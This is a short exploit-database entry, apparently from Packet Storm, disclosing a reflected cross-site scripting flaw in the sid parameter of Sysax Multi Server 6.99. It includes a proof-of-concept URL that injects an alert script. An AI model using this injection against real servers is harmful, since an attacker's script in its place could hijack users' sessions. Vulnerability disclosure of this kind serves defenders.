Share
## https://sploitus.com/exploit?id=PACKETSTORM:182467
# Exploit Title: Sysax Multi Server 6.99 - Reflected XSS  
# Date: 2024-11-03  
# Exploit Author: Yehia Elghaly (Mrvar0x)  
# Vendor Homepage: https://www.sysax.com/  
# Software Link: https://www.sysax.com/download/sysaxserv_setup.msi  
# Version: MultiServer 6.99  
# Tested on: Windows 10 x64  
  
Reflected XSS - Affected Parameter (/scgi?sid).  
  
PoC:  
192.168.1.160/scgi?sid=44abd541f5a769556f36080e7c8a7b1f68e04510<script>alert("XSS")</script>&pid=transferpage2_name1_fff.htm